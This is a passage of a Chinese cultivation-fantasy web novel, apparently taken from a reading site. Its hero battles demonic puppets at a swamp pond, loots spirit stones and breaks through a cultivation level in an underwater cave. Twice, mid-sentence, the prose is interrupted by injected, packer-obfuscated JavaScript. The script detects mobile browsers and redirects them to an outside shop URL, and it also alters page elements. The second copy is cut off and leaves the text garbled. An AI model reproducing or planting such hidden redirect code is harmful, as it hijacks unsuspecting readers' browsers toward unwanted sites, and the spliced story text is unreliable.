离火宗弟子明显落于下风。他们的火焰法术轰击在魔傀身上,虽然能留下焦痕,却难以造成致命伤害。魔傀的数量太多了,而且不畏死亡,不断冲击着他们的阵型。地上已经躺了两三具离火宗弟子的尸体,还有几具被打残的魔傀碎片。 领队的那个离火宗弟子(之前在腐骨林发号施令那个)正挥舞着一柄火焰长剑,与一个格外高大、手持锈迹斑斑巨斧的人形魔傀头领激战,险象环生,身上已经挂彩。 “是‘蚀铁魔傀’!这里怎么会有这种东西!还这么多!”萧炎脸色彻底沉了下来,眼中再无戏谑,取而代之的是一种凝重和……隐隐的愤怒?他似乎认得这东西。 他没再多说,身形化作一道赤影,直接冲向战团!手中短刃火焰暴涨,如同一轮小太阳,狠狠斩向围攻阵型最薄弱处的一个魔傀! “萧师兄?!”离火宗弟子中有人认出了他,惊喜交加。 林家铭却没动。他躲在磷蕈林边缘的阴影里,冷静地观察着。 魔傀数量多,皮糙肉厚,但攻击方式相对单一,主要靠蛮力和腐蚀攻击。离火宗弟子配合尚可,火法对魔傀有一定克制,但灵力消耗巨大,久战必败。 萧炎的加入暂时稳住了阵脚,他实力明显强于普通弟子,火焰更加凝练霸道,几刀下去就能重创一个魔傀。但魔傀头领似乎感应到了威胁,立刻分出一个手持骨矛的敏捷型魔傀缠住了他。 局面依然胶着。 林家铭的目光,却越过了战场,投向了雾鬼潭的深处,那片被最浓郁黑雾笼罩的地方。那里的水面之下,似乎有巨大而模糊的阴影在缓缓蠕动,散发出令人心悸的、冰冷邪恶的波动。魔傀,似乎就是从那个方向源源不断冒出来的。 “源头在潭底?还是潭心岛?”林家铭心思电转。硬拼这些魔傀不智,找到控制者或者源头,才是关键。 他的目光又扫过泥滩战场。离火宗弟子苦苦支撑,萧炎也被缠住。自己如果现在转身就走,以他的隐匿和速度,大概率能安全退走。但…… 他摸了摸怀里那颗萧炎给的“高级货”鼻烟壶。又看了看那些魔傀身上暗沉的、仿佛能吸收灵光的甲壳。 “算了,就当还个人情,顺便……看看能不能捞点‘硬货’。”林家铭嘀咕一句,眼神变得锐利起来。 他没有冲向战团, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189069|197041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而是如同鬼魅般,沿着泥滩边缘的阴影和水线,借助浓雾和嶙峋怪石的掩护,悄无声息地朝着战场的侧后方,也就是魔傀涌来的方向摸去。 他的目标,是那几个在战场边缘游走、似乎是在“指挥”或者“督战”的、体型相对较小、但甲壳纹路更复杂的魔傀。这些魔傀动作更灵活,偶尔会发出某种无声的波动,其他魔傀的攻击节奏似乎会随之调整。 “先拔了‘眼睛’和‘耳朵’。”林家铭锁定了一个躲在巨大黑色礁石后、探头探脑的小型魔傀。 他将混沌灵力模拟出“阴影”、“消音”的微弱特性,包裹全身,步伐轻得像猫,气息收敛到极致。得益于沼泽环境的复杂气息和“黑水石”对水汽的微弱操控(他让身旁的雾气稍微浓了一丝),他成功地摸到了那块礁石后面。 小型魔傀背对着他,正专注地“观察”战场,甲壳上的纹路明灭不定。 林家铭出手了。 没有用动静大的唢呐或灰粉。他直接弹出袖中机括! 一根无声无息、淬了加强麻痹毒和一丝模拟“侵蚀”混沌灵力的铁针,精准地射入了魔傀颈部甲壳的缝隙! “嗤!” 轻微的入肉声。魔傀身体猛地一颤,颈部甲壳缝隙处冒出淡淡的黑烟,动作瞬间僵住,眼中的红光急速闪烁,似乎想发出警报。 但林家铭更快!在射出铁针的同时,他已如猎豹般扑上!“晦芒”短刃带着一抹凝聚的混沌微光,顺着铁针制造的缺口,狠狠刺入,然后手腕一绞! “咔吧……” 令人牙酸的碎裂声。魔傀颈部的结构被彻底破坏,眼中的红光熄灭,软软地瘫倒在地,变成一堆真正的破铜烂铁。 一击得手,林家铭毫不停留,立刻转移,扑向下一个目标。 他就如同战场阴影中的死神,专挑落单、站位靠后、有指挥嫌疑的小型魔傀下手。手段干净利落,全是阴招:毒针偷袭、灰粉迷眼(对魔傀效果一般,但能干扰其感知)、短刃要害补刀。偶尔遇到反应快的,他就用那套诡谲步法周旋,抓住破绽一击致命。 短短几十息,就有四五个小型魔傀被他悄无声息地“拆除”。 魔傀群的攻势,果然出现了一丝不易察觉的混乱。一些魔傀的攻击变得有些迟疑,配合不再那么流畅。 离火宗弟子压力一轻,虽然不知道发生了什么,但士气大振,反击更加猛烈。 萧炎也察觉到了变化,他百忙中扫了一眼战场边缘,正好看到林家铭如同鬼影般从一个倒下的魔傀身后闪出,扑向另一个目标。他眼中闪过一丝复杂,有惊讶,有赞许,也有一丝了然。 “这家伙……还真是把‘阴’字诀玩出花了。”萧炎心里嘀咕一句,手中火焰更盛,一刀将缠住他的骨矛魔傀劈飞,趁机看了一眼潭心方向,眉头紧锁。 林家铭的“拆零件”行为,似乎激怒了幕后的存在。 “呜——!!” 一声低沉、仿佛从水底深处传来的、带着无尽怨毒和金属摩擦感的号角声,猛然从雾鬼潭中心炸响! 整个泥滩的空气都为之一凝! 所有魔傀,无论正在战斗的还是待命的,动作齐齐一顿,眼中红光暴涨! 紧接着,更浓郁的、几乎化为实质的黑雾从潭心喷涌而出!伴随着黑雾,三个气息远比普通魔傀强大、身高接近一丈、身披残破重甲、手持门板般巨刃的巨型魔傀,踏着沉重的步伐,从黑雾中缓缓走出!它们每一步,都在黑色泥滩上留下深深的脚印,腐朽与铁锈的死亡气息扑面而来! 与此同时,潭心黑雾翻腾,一个更加庞大、如同小山般的阴影轮廓,缓缓上浮,冰冷的意念锁定了整个泥滩! 压力,陡然提升了数个级别! 离火宗弟子脸色惨白,连萧炎都露出了极度凝重的神色。 林家铭也停下了偷袭,迅速退到一块相对安全的礁石后,看着那三个巨型魔傀和潭中若隐若现的恐怖存在,嘴角抽了抽。 “这‘热闹’……有点太大了。” 他摸了摸储物袋里的板砖和破蒲扇,又看了看手里沾满黑色粘液的“晦芒”。 “师父啊,您老人家给的‘垃圾’,够不够硬啊……” 就在这时,异变再生! 雾鬼潭的另一侧,浓雾突然被一股凌厉的剑气劈开!几道身影疾驰而来,人未至,清越的剑鸣已然响彻! “青岚宗在此!何方妖孽,敢在此作祟!” 为首一人,白衣胜雪,面容冷峻,背负长剑,赫然是——楚云!他左臂还吊着,但右手中的长剑已然出鞘,剑光清冽如秋水,只是脸色依旧有些苍白,眼神却锐利如昔。他身后跟着三四名气息不弱的青岚宗内门弟子。 几乎是同时,另一个方向,也有破空声传来。几名身穿褐色劲装、气息沉稳厚重、仿佛与大地融为一体的修士落下,袖口有山岳纹饰——是厚土宗的人! 三方势力,加上暗中潜伏可能更多的杂鱼,以及潭中那恐怖的未知存在和源源不断的魔傀…… 雾鬼潭的泥滩,瞬间变成了一个更加混乱、更加危险的漩涡中心。 林家铭缩在礁石后,看着这突如其来的“援兵”和更加复杂的局势,非但没有害怕,反而眼睛慢慢亮了起来,舔了舔有些干裂的嘴唇。 “这下……真的热闹了。” 乱局之中,才是摸鱼……呃,寻找机会和“硬货”的最佳时机啊。 他的目光,已经越过那些狰狞的魔傀和紧张的对峙者们,再次投向了雾鬼潭深处,那黑雾最浓、阴影最大的地方。 那里,到底藏着什么?能让这么多势力,甚至这种古老的魔傀都现世? 9. 乱局摸鱼与潭底“惊喜” 楚云和厚土宗修士的出现,像两块巨石投入本就汹涌的暗流,局势瞬间变得更加微妙而紧绷。 三方人马呈品字形隐约对峙,中间是散发着腐朽与死亡气息的魔傀群,以及黑雾翻腾、隐藏着未知恐怖的雾鬼潭。 “楚师兄!”一个离火宗弟子惊喜喊道,随即意识到对方是青岚宗的人,脸色又变得复杂。 楚云的目光扫过狼狈的离火宗众人,在萧炎身上微微一顿(显然认出了这个离火宗内的“名人”),最后落在泥滩上那些死状各异的尸体和魔傀残骸上,眉头紧锁。 “蚀铁魔傀?”厚土宗带队的是一个面容敦厚、身材壮硕的年轻修士,名叫石岳,他看着那些暗沉甲壳的傀儡,声音带着凝重,“此地怎会出现如此数量的上古魔道战傀?看来传闻不虚,雾鬼潭确有上古魔宗遗迹异动。” “管它什么魔傀遗迹!”离火宗那个领队弟子(名叫火烈)喘着粗气,指着雾鬼潭中心,“那黑雾里有东西!这些鬼东西都是它弄出来的!我们好几个师弟都折在里面了!” 所有人的目光再次聚焦潭心。那庞大的阴影轮廓在黑雾中若隐若现,三个巨型魔傀如同三尊门神,矗立在黑雾边缘,冰冷的目光扫视全场。 “呜——!” 低沉的号角声再次响起,这一次更加急促,带着明显的催促和杀意! 三个巨型魔傀同时动了!沉重的脚步踏碎泥滩,分别扑向离火宗、青岚宗和厚土宗三拨人!它们身后的普通魔傀也再次潮水般涌上,但攻击明显更有章法,显然是受那三个巨傀指挥! 战斗瞬间再次爆发,而且更加混乱!不再是离火宗独抗魔傀,而是三方势力各自为战,同时又要提防其他两方,还要应付魔傀的疯狂进攻。 剑气纵横,火焰爆裂,土石轰鸣!泥滩上灵力碰撞的光芒和魔傀黑色的死亡气息交织在一起,喊杀声、金铁交鸣声、法术爆炸声响成一片。 萧炎再次对上了一个巨型魔傀,这次他不再保留,短刃上的火焰从赤红转为暗金,温度恐怖,每一击都能在巨傀厚重的甲壳上留下深深的焦痕,但巨傀力量太大,防御太厚,一时间也难以拿下。 楚云吊着左臂,仅凭右手剑,剑光却比小比时更加凝练纯粹,带着一股一往无前的决绝,将扑向青岚宗的巨傀死死拦住,剑法精妙,每每以巧破力,但伤势显然影响了他的发挥,脸色越发苍白。 石岳带领厚土宗弟子,则以守代攻,他们催动土系法术,在身前竖起厚重的岩墙,困住巨傀,不断用地震波和石刺消耗,稳扎稳打。 而就在这正面战场打得如火如荼时,林家铭,这个被所有人(或许除了萧炎)暂时忽略的“小角色”,正在干着更加“专业”的事情。 他早已不在原来的礁石后。趁着三方势力出现、魔傀注意力被吸引的混乱瞬间,他如同一条滑溜的泥鳅,借助“黑水石”对水汽的微弱操控(让身边雾气更浓)、混沌灵力模拟的“阴影”特性、以及那套诡谲步法,悄无声息地绕开了正面战场,贴着雾鬼潭边缘那些嶙峋的黑色礁石和浓得化不开的黑雾,朝着魔傀最初涌出的方向,也就是潭心阴影的侧后方摸去。 他的目标很明确:不去硬刚那些打不动的铁疙瘩,而是寻找控制源头,或者至少,找到有价值的东西。师父说过,垃圾堆里才能淘到宝,这里看起来像个大型古代垃圾场(魔傀垃圾场),说不定有好东西呢? 越是靠近潭心,那种腐朽铁锈味和冰冷的死气就越浓,几乎让人窒息。脚下的泥滩变得更加粘稠湿滑,仿佛有无数细小的东西在下面蠕动。“黑水石”传来的警示凉意几乎变成刺痛,提醒他周围的水和雾气里蕴含着剧毒和某种侵蚀性的邪恶能量。 他不得不持续消耗混沌灵力来抵御这种环境侵蚀,同时还要将感知提升到极限,避开那些隐藏在黑雾中、偶尔闪烁红光的魔傀“暗哨”。 突然,他脚下一滑,踩到了一个半埋在泥里的、坚硬光滑的东西。低头一看,是一截断裂的、布满奇异符文的金属臂膀,看样式和材质,与那些魔傀同源,但更加精美古老,符文也更加复杂,虽然黯淡无光,却隐隐有种不凡的气息。 “垃圾!”林家铭眼睛一亮,毫不犹豫地将其撬出,收进储物袋。沉甸甸的,是好材料。 继续前进,他又陆续捡到了几块刻着残缺阵纹的黑色石板(比他的“板砖”小,但符文看着更邪性)、一柄锈蚀大半却依然锋利的奇形短矛、甚至还有一小瓶被封在特殊水晶中、呈现出诡异暗紫色的粘稠液体(隔着水晶都能感觉到其中狂暴的魔气和怨念)。 “发财了发财了……”林家铭一边捡一边心里嘀咕,这些玩意儿虽然现在用不了,甚至可能很危险,但绝对是他目前见过“能量等级”最高的“垃圾”!拿回去慢慢研究,或者以后跟识货的(比如师父)换东西,都是血赚! 就在他捡得不亦乐乎,逐渐深入一片被高大黑色石笋环绕的区域时,前方黑雾中传来了不同于战斗的奇异声响。 “咕噜……咕噜……” 像是水泡翻滚,又像是某种粘稠液体流动的声音。空气中那股甜腥味和铁锈味达到了顶点。 林家铭心中一凛,立刻收敛所有气息,伏低身体,如同壁虎般贴着一根巨大的石笋,缓缓探头望去。 只见石笋环绕的中心,是一个不大的、与雾鬼潭主水体相连的幽深水潭入口。入口处的水面不再是黑色,而是呈现出一种诡异的暗红色,如同稀释的血液,正不断地向上翻涌着气泡。浓烈的魔气和死气正是从这里散发出来的。 而在水潭入口旁,矗立着一座残缺的、由某种漆黑石材垒砌而成的古老祭坛。祭坛不过半人高,表面布满了深深的划痕和腐蚀痕迹,中央有一个凹陷的池子,池子里残留着些许干涸的暗红色痕迹。 吸引林家铭目光的,不是祭坛本身,而是祭坛旁边堆积如小山的东西! 那是……灵石!虽然大部分光泽暗淡,灵气稀薄,像是被魔气污染侵蚀过的废灵石,但数量极多!粗略一看,至少有上千块!而且,在这些废灵石中间,还夹杂着几十块色泽相对纯净、灵气明显充沛许多的下品灵石,甚至还有几块隐隐透着中品灵玉光泽的碎块! 除了灵石,旁边还散落着一些瓶瓶罐罐(有些碎裂了,流出不明液体)、几件破损但灵光未完全泯灭的法器残片、以及一些颜色古怪的矿石和药材——看样式和残留气息,分明是之前那些死在这里的修士(黑煞门、散修等)的“遗物”! 显然,那些魔傀(或者控制魔傀的存在)在杀死闯入者后,将他们的财物集中堆放在了这里!就像一个……巢穴的储藏室! 林家铭的心脏不争气地狂跳起来。 灵石!他现在最缺的就是灵石!这么多废灵石,对别人是毒药,对他这混沌灵根,就是大补的“杂粮”!那些下品灵石和中品碎块,更是硬通货!还有那些法器残片和材料…… 危险?当然危险!这里显然是魔傀巢穴的核心区域之一,那个控制者说不定就在附近,或者随时会回来。 但是…… “撑死胆大的,饿死胆小的。”林家铭咬了咬牙,眼中闪过决断。正面战场吸引了绝大部分魔傀和那恐怖存在的注意力,这是千载难逢的机会! 他没有贸然冲出去。而是先仔细观察周围环境。祭坛附近没有魔傀守卫,但那种被窥视的感觉更加强烈了,仿佛黑暗中有无数双眼睛。那血潭入口翻涌的气泡也更加剧烈。 “必须快!拿了就走!”他定了策略。 他从储物袋里掏出几样东西:最后两枚“臭云弹”(特制沼泽版)、一把“加强混沌灰”、还有那把他自制的不稳定“二胡”。 深吸一口气,将混沌灵力运转到极致,模拟出“轻身”、“疾速”的意念灌注双腿。然后,他动了! 如同一道离弦的箭,从石笋后爆射而出,直扑那堆“宝藏”!同时,左手连挥,将两枚“臭云弹”分别砸向血潭入口和祭坛另一侧的黑雾深处! “噗!噗!” 浓烈刺鼻、混杂着沼泽毒气和魔傀讨厌气息的恶臭黄绿色烟雾猛然炸开,迅速弥漫开来,暂时遮蔽了视线,也干扰了可能存在的感知! 紧接着,他右手将那一大把“加强混沌灰”朝着自己身后和侧方扇形洒出,形成一道灰蒙蒙的屏障,进一步扰乱环境! 最后,他一边冲向灵石堆,一边用胳膊夹住二胡,运起混沌灵力,模拟出最高频率、最尖锐刺耳、充满了“混乱”、“烦躁”意念的噪音,狠狠地拉响了琴弦! “吱嘎——!!!” 如同百鬼夜哭、金属刮擦的恐怖噪音,在这封闭的石笋区域内猛然炸响!这声音毫无美感,只有纯粹的精神污染和物理刺激,甚至让周围的空气都产生了细微的震颤! 三重干扰之下,林家铭已经冲到了那堆“宝藏”前。他根本没有时间去分辨,也顾不上那些瓶瓶罐罐和法器残片,储物袋口张开到最大,两只手如同风车般疯狂地将那些废灵石、下品灵石、中品碎块以及看起来能量反应最强的几块矿石和药材,拼命往里划拉! 快!再快! 他的动作已经快出了残影,心脏狂跳,肾上腺素飙升。耳边除了自己粗重的喘息和二胡的噪音,似乎还听到了血潭深处传来的、被激怒的低沉咆哮,以及黑雾中急速接近的、沉重的脚步声! “不够!还不够!”林家铭眼睛都红了,不管三七二十一,连那些沾着泥污和不明污渍的灵石也一并扫入。 就在他感觉储物袋快要被塞满、而那股冰冷的杀意已经锁定他后背的刹那—— “呜嗷——!!!” 一声震耳欲聋、充满了暴怒和金属撕裂感的恐怖咆哮,从血潭深处轰然传出!整个石笋区域都在震颤!血潭入口的暗红色水面猛地炸开,一个巨大无比的、覆盖着厚重暗沉甲壳、长满了扭曲骨刺和锈蚀锁链的狰狞头颅,破水而出!猩红的巨眼如同两盏地狱灯笼,瞬间就锁定了祭坛边那个渺小的、正在偷它“财宝”的蝼蚁! 与此同时,至少五六头气息堪比之前巨型魔傀的精英魔傀,从各个方向的黑雾中冲出,带着狂风,扑杀而来! 被发现了!而且惹毛了大家伙! 林家铭头皮发麻,想都没想,将最后一把捞到的灵石塞进怀里(储物袋实在塞不下了),转身就跑!同时将手里还在制造噪音的二胡,朝着扑得最近的一头精英魔傀脸上狠狠砸去! “给你听个够!” 二胡砸在魔傀脸上,弦崩断,琴筒碎裂,但那股混沌灵力附加的“混乱”噪音似乎对魔傀的感知结构产生了短暂的干扰,让那头魔傀 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电光石火间,他瞥见了侧前方不远处,有一片颜色格外深暗、几乎与黑雾融为一体的水下洞穴入口,被几根倒塌的巨大石笋半掩着。那里散发出的水汽和魔气格外浓烈,但也异常混乱。 “赌一把!” 林家铭毫不犹豫,方向急转,朝着那个水下洞穴入口全力冲去!在即将抵达入口的瞬间,他猛地将怀中那块一直没机会用的、锈死的青铜罗盘掏了出来,用尽全身力气,朝着身后追得最近的一头精英魔傀砸去! “走你!” 罗盘砸在魔傀胸口,发出沉闷的响声,连个印子都没留下。但就在罗盘与魔傀甲壳接触的刹那,罗盘表面那些锈蚀的、歪斜的符文,似乎极其微弱地亮了一下,紧接着,以罗盘为中心,一股无形而混乱的空间波动猛地扩散开来! 虽然微弱到几乎难以察觉,却让那头精英魔傀的动作出现了一丝极其诡异的错乱,仿佛它所在的“前后左右”在瞬间发生了颠倒!它追击的步伐顿时踉跄,差点撞上旁边的石笋! 其他几头魔傀也受到了细微的影响,速度稍缓。 就是这争取到的刹那时间! 林家铭已经如同游鱼般,猛地扎进了那个漆黑一片、魔气森森的水下洞穴入口!冰冷的、带着强烈侵蚀性的潭水瞬间将他淹没! 他立刻闭气,运转混沌灵力护住全身,同时将“黑水石”贴在额头,试图感知水流方向。洞穴内一片漆黑,水流湍急混乱,只能勉强分辨出一个大致向下的方向。 他不敢停留,顺着水流方向,拼命向下潜游。身后,他能感觉到那些精英魔傀追到了洞口,但它们似乎对进入水中有所迟疑,或者在等待命令,并没有立刻追进来。 暂时安全了? 林家铭不敢放松,继续下潜。洞穴越来越深,越来越窄,水压增大,魔气的侵蚀感也越来越强。他不得不消耗更多灵力来抵抗。 不知下潜了多久,前方终于出现了一点微弱的光亮。不是自然光,而是一种幽蓝色的、仿佛磷火的光芒。 他奋力游过去,发现自己进入了一个相对宽敞的水下洞窟。洞窟顶部有一些发光的苔藓和结晶,提供着微弱照明。洞窟底部堆积着厚厚的淤泥和……更多的骨骸、残破甲胄、腐朽兵器。 这里,似乎是一个水下战场遗迹,或者抛尸地。 林家铭浮出水面(洞窟顶部有空气层),剧烈地喘息着,浑身湿透,冰冷刺骨。他检查了一下自身,除了灵力消耗巨大,受了点冻伤和魔气轻微侵蚀,并无大碍。储物袋鼓鼓囊囊,怀里也塞满了灵石。 “活下来了……还血赚。”他靠在冰冷的洞壁上,咧嘴想笑,却牵动了冻得发僵的脸。 但下一秒,他的笑容僵住了。 因为他看见,在对面的洞壁上,幽蓝的磷光映照下,似乎刻着一些……文字和图案。 不是普通的文字,笔画扭曲,带着古老而邪异的气息,与他捡到的那些魔傀残骸上的符文风格类似,但似乎更加完整、系统。 而在那些文字图案的下方,洞壁的角落里,似乎靠着一个人。 或者说,一具尸体。 穿着早已腐朽破烂、看不出原来样式的黑色长袍,身形佝偻,低垂着头,长发披散,遮住了面容。尸体没有腐烂,而是呈现出一种诡异的、仿佛金属和皮革混合的干枯状态,皮肤上布满了暗沉的花纹。 让林家铭汗毛倒竖的是,这具“尸体”的手里,紧紧握着一根……断裂的、顶端镶嵌着暗红色宝石的法杖**。法杖虽然断裂,但那颗暗红宝石,却在幽蓝的磷光下,隐隐流转着一丝令人心悸的、仿佛活物般的光芒。 一股比外面魔傀更加纯粹、更加古老、也更加冰冷的死寂魔意,从这具“尸体”身上散发出来,弥漫在整个水下洞窟。 林家铭屏住呼吸,一动不敢动。 他好像……钻进了一个更不得了的地方。 前有古尸(疑似魔傀炼制者或控制者),后可能有追兵。 怀里揣着偷来的“赃款”,眼前是看不懂的邪门传承和可能随时暴起的古代魔头。 这趟雾鬼潭的“热闹”,他好像看得有点太深入了。 10. 水下洞窟的生死豪赌 冰冷、黑暗、魔气森森。 林家铭泡在水下洞窟的寒潭里,牙齿不受控制地打颤,每一次呼吸都带着冰碴子刮过喉咙的刺痛。灵力近乎枯竭,像烧干的灯油,只剩一丝火星在丹田那团缩小的混沌气旋里苟延残喘。外面是暴怒的魔傀和潭中巨兽,身前是散发着不祥死寂的古老魔尸。 绝境。 真正的绝境,比擂台面对楚云剑罡时更甚。那时有板砖,有师父兜底。现在,只有他自己,和满袋别人眼中的“垃圾”。 他背靠着湿滑冰冷的洞壁,幽蓝的磷光映着他惨白的脸。目光死死盯着对面角落那具佝偻的黑色古尸,以及古尸手中那根断裂法杖顶端、隐隐流转血光的暗红宝石。那宝石仿佛一只沉睡的恶魔之眼,随时可能睁开。 不能等死。 他深吸一口气,强迫自己冷静下来,忽略几乎要冻僵的身体和识海因魔气侵蚀传来的细微刺痛。 “得先恢复……不,得突破。”他舔了舔干裂起皮的嘴唇,眼神里迸发出狼一样的凶光,“这点灵力,逃都逃不掉。” 他小心翼翼地移动,尽量不引起水流大的波动,远离古尸所在的角落,挪到洞窟另一侧相对干燥一点的碎石滩上。从储物袋里掏出最后一点“混沌灰”,混合着洞窟里的湿泥,在周围撒了一圈简陋的预警圈——有人或东西踩上来,会留下痕迹并散发微弱干扰气息。 然后,他盘膝坐下,颤抖着手,从储物袋里掏出一大把被魔气污染的废灵石。 这些灵石在幽蓝磷光下呈现出一种病态的灰黑色,表面布满细微的裂纹和暗沉污渍,原本纯净的灵气早已被魔气、死气、怨念等驳杂能量污染得一塌糊涂。对普通修士而言,吸收这玩意儿跟喝毒药没区别,轻则走火入魔,重则经脉尽毁。 但林家铭的眼睛却亮了起来。 “垃圾?老子专吃垃圾!” 他将两块废灵石紧紧握在手心,冰凉粗糙的触感传来。闭上眼,全力运转“混沌大杂烩修炼法”! 混沌灵力如同疲惫但依旧饥饿的凶兽,从他干涸的经脉中挤出最后一丝力量,顺着掌心探入废灵石内部。 “轰——!” 比吸收药材残渣和之前“高级垃圾”狂暴十倍、混乱百倍的能量洪流,如同决堤的污水,猛地冲入他的经脉! 剧痛!难以形容的剧痛! 那不是单一属性的冲击,而是无数种负面、冲突、暴戾的能量混在一起:阴寒的死气、腐蚀的魔气、狂躁的怨念、污浊的秽气……它们在他的经脉里横冲直撞,相互撕扯,也撕扯着他的经脉壁。经脉瞬间传来被砂轮反复打磨、又被腐蚀液浸泡的可怕痛楚,皮肤下青筋暴起,颜色变得灰黑。 “呃啊——!”林家铭闷哼一声,嘴角溢出一缕黑血,身体剧烈颤抖,险些晕厥过去。 太猛了!太乱了!混沌灵根能消化,但他的身体和经脉强度,几乎要承受不住这种“暴饮暴食”! “不能停……停下就是死……”他咬紧牙关,牙龈都渗出血来,意识死死守住灵台一点清明,疯狂催动丹田那团微弱的混沌气旋。 气旋如同一个濒临停转的磨盘,艰难地开始转动,将涌入的狂暴混乱能量一点点拉扯、碾磨、吞噬。过程慢得令人绝望,痛苦却持续叠加。他的意识在剧痛的海洋中浮沉,几次差点被淹没。 就在这时,一直贴在他胸口、几乎被遗忘的“黑水石”,忽然传来一阵温润平和的凉意。 这股凉意不同于外界的冰冷,它从胸口膻中穴渗入,顺着经脉缓缓流淌,所过之处,那狂暴冲突的能量竟然出现了一丝极其微弱的缓和。不是化解,而是像一种“润滑剂”和“调和剂”,让不同属性的能量冲突不那么剧烈,让被冲击得快要碎裂的经脉得到一丝喘息和滋润。 “这石头……有用!”林家铭精神一振,分出一缕心神,尝试将混沌灵力模拟出“水”的包容与渗透,主动去沟通“黑水石”。 “黑水石”表面的水波纹路似乎亮了一丝,那股温润平和的凉意稍稍增强。虽然依旧杯水车薪,但在这种极限状态下,这一点点帮助,就是救命稻草! 他稳住心神,改变策略。不再试图精细控制或分开炼化那些混乱能量——根本做不到。他转而主动引导,用意念在丹田内,将混沌气旋模拟成一个高速旋转的、能吞噬一切的混沌漩涡! 意念集中:“吞!纳!化!融!” 漩涡转速猛地加快!吸引力暴增! 涌入经脉的混乱能量,不再是被动碾磨,而是被更狂暴地吸入漩涡中心,在那里发生更加剧烈的对撞、湮灭、破碎、重组!效率瞬间提升,但带来的痛苦和风险也呈几何级数增长!他感觉自己丹田仿佛要炸开,整个身体都成了能量风暴的中心。 “不够……还不够!”林家铭心中发狠,直接抓过更多废灵石,不要钱似的堆在身边,双手各握两块,全力吸收! 更多的“毒药”能量涌入。经脉开始出现细微的裂痕,皮肤渗出带着灰黑色的血珠。他的脸色变得极其可怕,时而涨红如血,时而青黑如铁,身体抖得像风中的落叶。 但丹田内的混沌漩涡,也在这种疯狂的自杀式修炼下,以肉眼可见的速度膨胀、凝实!颜色从原本的五彩斑斓混杂,逐渐向一种更深邃、更均匀的混沌灰色转变,虽然依旧包容万色,但核心更加稳定、厚重。 炼气三层到四层的瓶颈,早已被狂暴的能量洪流冲得摇摇欲坠。 “给我——破!!” 林家铭在心中发出一声无声的咆哮,将最后涌入的一股最驳杂、最暴戾的能量,连同“黑水石”传来的最后一丝调和凉意,全部投入混沌漩涡! “嗡——!” 脑海中仿佛有什么东西被打破了。 丹田内的混沌漩涡猛地向内一缩,凝聚成一个拳头大小、凝实如液体、缓缓旋转的混沌元丹虚影(并非真正的金丹,而是气旋质变的形态),随即轰然扩张! 更加精纯、更加磅礴、更加如臂指使的混沌灵力,如同新生江河,瞬间奔涌进拓宽坚韧了数倍的经脉之中!所过之处,修复裂痕,驱散阴寒,带来勃勃生机与力量! 炼气四层!不,是炼气四层巅峰! 灵力总量暴增数倍!质量发生蜕变!神识也随之水涨船高,向外扩散,比之前清晰、敏锐了许多! 突破了!在绝境中,靠着“垃圾”和拼命,硬生生闯出了一条生路! 林家铭猛地睁开眼,眼中混沌之色一闪而过,随即恢复清明,却比以往更加深邃内敛。他长长吐出一口浊气,那气息竟带着灰黑之色,排出体内部分杂质和负面能量。 来不及欣喜,也来不及巩固。因为就在他突破、神识下意识扩散探查的瞬间—— 他的神识,不可避免地扫过了对面洞壁上那些邪异的古老文字和图案。 “轰!!!” 仿佛有无数根烧红的钢针,狠狠扎进了他的识海!那些文字和图案中蕴含的、沉淀了不知多少岁月的扭曲道韵、疯狂意念、绝望怨毒,如同找到了一个宣泄口,顺着他的神识,蛮横无比地冲了进来! “啊——!”林家铭抱头痛呼,眼前发黑,无数破碎、诡异、充满负面情绪的符文影像在脑海中疯狂闪烁、冲撞:《役傀魔章》残篇、《蚀铁煅身法》碎片、《怨魂淬灵术》禁忌……全是上古魔道炼傀、炼体、炼魂的邪恶法门碎片!它们不是知识传承,而是如同精神污染,强行烙印! 他根本看不懂具体内容,也无法理解其中奥义,只是被动地“记住”了那些符文的结构、笔画、以及其中蕴含的“侵蚀”、“控制”、“转化”、“痛苦”等极端意念。 头痛欲裂,恶心欲呕,道心都受到冲击,产生种种负面幻觉。 而更糟糕的是—— 或许是突破时爆发的灵力波动,或许是神识与魔道符文的“共鸣”,又或许只是时间到了…… 对面角落,那具佝偻古尸手中,断裂法杖顶端的暗红宝石,骤然血光大盛! “嗡——!” 冰冷死寂的魔意瞬间变得狂暴而活跃!如同沉睡的凶兽睁开了眼睛!一股阴寒、沉重、充满侵蚀性的恐怖意志,如同实质的枷锁,猛地锁定了刚刚突破、气息未稳、且识海混乱的林家铭! 古尸那低垂的头颅,似乎……极其轻微地动了一下!干枯手指握着法杖的力道,仿佛也紧了一丝! “操!”林家铭浑身汗毛倒竖,死亡的阴影从未如此清晰而逼近!比外面那些魔傀恐怖百倍! 他顾不上识海的剧痛和混乱,求生本能压倒一切!新突破的炼气四层巅峰灵力毫无保留地爆发,身体如同弹簧般从地上弹起! 就在他动身的刹那,古尸手中的法杖(或者说那颗宝石)血光一闪,一道细如发丝、却快得超越视觉、带着极致死寂与侵蚀意味的暗红射线,无声无息地射向他刚才盘坐的位置! “嗤——!” 射线击中地面的碎石,那些石头没有爆炸,而是瞬间失去了所有颜色和生机,变得如同灰白的粉尘,随即悄然消散!仿佛被从“存在”的层面上抹除了一部分! 林家铭头皮发麻,要是慢上一丝,现在变成飞灰的就是他! 他脚步不停,将新提升的灵力疯狂灌注双腿,那套诡谲步法施展到极致,在并不宽敞的洞窟内留下道道残影,拼命闪躲。同时,他下意识地调动识海里那些刚刚被强行塞进来的、关于“侵蚀”和“控制”的扭曲符文意念,混合着混沌灵力,朝着洞窟内几处看起来像是能量节点(之前观察环境时隐约感觉)的地方胡乱挥洒出去! 他根本不懂怎么用,完全是病急乱投医,瞎猫碰死耗子! 然而,奇迹(或者说厄运)发生了。 他这胡乱挥洒的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 